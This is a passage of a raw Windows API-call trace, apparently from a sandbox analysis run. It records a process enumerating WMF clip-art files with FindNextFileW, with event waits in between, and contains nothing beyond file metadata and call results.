ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7c44, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105520.WMF", cAlternateFileName="")) returned 1 [0191.526] ResetEvent (hEvent=0x174) returned 1 [0191.526] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.543] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x43b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105526.WMF", cAlternateFileName="")) returned 1 [0191.543] ResetEvent (hEvent=0x174) returned 1 [0191.543] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.560] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105530.WMF", cAlternateFileName="")) returned 1 [0191.560] ResetEvent (hEvent=0x174) returned 1 [0191.561] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.576] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x542c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105588.WMF", cAlternateFileName="")) returned 1 [0191.576] ResetEvent (hEvent=0x174) returned 1 [0191.576] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.606] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105600.WMF", cAlternateFileName="")) returned 1 [0191.606] ResetEvent (hEvent=0x174) returned 1 [0191.606] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.624] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x287c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105638.WMF", cAlternateFileName="")) returned 1 [0191.624] ResetEvent (hEvent=0x174) returned 1 [0191.624] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.641] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x35f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105710.WMF", cAlternateFileName="")) returned 1 [0191.642] ResetEvent (hEvent=0x174) returned 1 [0191.642] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.660] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2030, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105846.WMF", cAlternateFileName="")) returned 1 [0191.660] ResetEvent (hEvent=0x174) returned 1 [0191.660] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.677] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2dc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105912.WMF", cAlternateFileName="")) returned 1 [0191.677] ResetEvent (hEvent=0x174) returned 1 [0191.677] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.695] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1204, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105974.WMF", cAlternateFileName="")) returned 1 [0191.695] ResetEvent (hEvent=0x174) returned 1 [0191.695] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.708] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x274c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106020.WMF", cAlternateFileName="")) returned 1 [0191.708] ResetEvent (hEvent=0x174) returned 1 [0191.708] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.749] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106124.WMF", cAlternateFileName="")) returned 1 [0191.750] ResetEvent (hEvent=0x174) returned 1 [0191.750] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.797] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5bfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106146.WMF", cAlternateFileName="")) returned 1 [0191.797] ResetEvent (hEvent=0x174) returned 1 [0191.797] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.828] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106208.WMF", cAlternateFileName="")) returned 1 [0191.829] ResetEvent (hEvent=0x174) returned 1 [0191.829] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.848] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4c90, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106222.WMF", cAlternateFileName="")) returned 1 [0191.849] ResetEvent (hEvent=0x174) returned 1 [0191.849] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.888] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x864, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106572.WMF", cAlternateFileName="")) returned 1 [0191.888] ResetEvent (hEvent=0x174) returned 1 [0191.889] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.908] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106816.WMF", cAlternateFileName="")) returned 1 [0191.908] ResetEvent (hEvent=0x174) returned 1 [0191.908] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.934] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x35d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106958.WMF", cAlternateFileName="")) returned 1 [0191.934] ResetEvent (hEvent=0x174) returned 1 [0191.934] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0191.958] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107024.WMF", cAlternateFileName="")) returned 1 [0191.959] ResetEvent (hEvent=0x174) returned 1 [0191.959] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0192.136] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1dd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107026.WMF", cAlternateFileName="")) returned 1 [0192.136] ResetEvent (hEvent=0x174) returned 1 [0192.136] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0192.383] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2358, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107042.WMF", cAlternateFileName="")) returned 1 [0192.383] ResetEvent (hEvent=0x174) returned 1 [0192.383] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0192.401] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107090.WMF", cAlternateFileName="")) returned 1 [0192.401] ResetEvent (hEvent=0x174) returned 1 [0192.401] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0192.409] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x69cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107130.WMF", cAlternateFileName="")) returned 1 [0192.410] ResetEvent (hEvent=0x174) returned 1 [0192.410] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0192.429] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbcfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107132.WMF", cAlternateFileName="")) returned 1 [0192.429] ResetEvent (hEvent=0x174) returned 1 [0192.429] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0192.453] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107134.WMF", cAlternateFileName="")) returned 1 [0192.453] ResetEvent (hEvent=0x174) returned 1 [0192.453] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0192.479] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4330, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107138.WMF", cAlternateFileName="")) returned 1 [0192.479] ResetEvent (hEvent=0x174) returned 1 [0192.479] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0192.500] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3a94, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107146.WMF", cAlternateFileName="")) returned 1 [0192.500] ResetEvent (hEvent=0x174) returned 1 [0192.501] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0192.517] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107148.WMF", cAlternateFileName="")) returned 1 [0192.518] ResetEvent (hEvent=0x174) returned 1 [0192.518] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0192.550] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3490, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107150.WMF", cAlternateFileName="")) returned 1 [0192.550] ResetEvent (hEvent=0x174) returned 1 [0192.551] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0192.588] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5804, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107152.WMF", cAlternateFileName="")) returned 1 [0192.588] ResetEvent (hEvent=0x174) returned 1 [0192.588] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0192.671] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x571c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107154.WMF", cAlternateFileName="")) returned 1 [0192.682] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x614c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107158.WMF", cAlternateFileName="")) returned 1 [0192.683] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ee4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107182.WMF", cAlternateFileName="")) returned 1 [0192.691] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107188.WMF", cAlternateFileName="")) returned 1 [0192.693] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x26f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107192.WMF", cAlternateFileName="")) returned 1 [0192.694] ResetEvent (hEvent=0x174) returned 1 [0192.694] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0192.808] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ef4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107254.WMF", cAlternateFileName="")) returned 1 [0192.808] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2168, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107258.WMF", cAlternateFileName="")) returned 1 [0192.808] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107262.WMF", cAlternateFileName="")) returned 1 [0192.808] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107264.WMF", cAlternateFileName="")) returned 1 [0192.809] ResetEvent (hEvent=0x174) returned 1 [0192.811] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0192.860] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107266.WMF", cAlternateFileName="")) returned 1 [0192.860] ResetEvent (hEvent=0x174) returned 1 [0192.860] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0192.959] FindNextFileW (in: 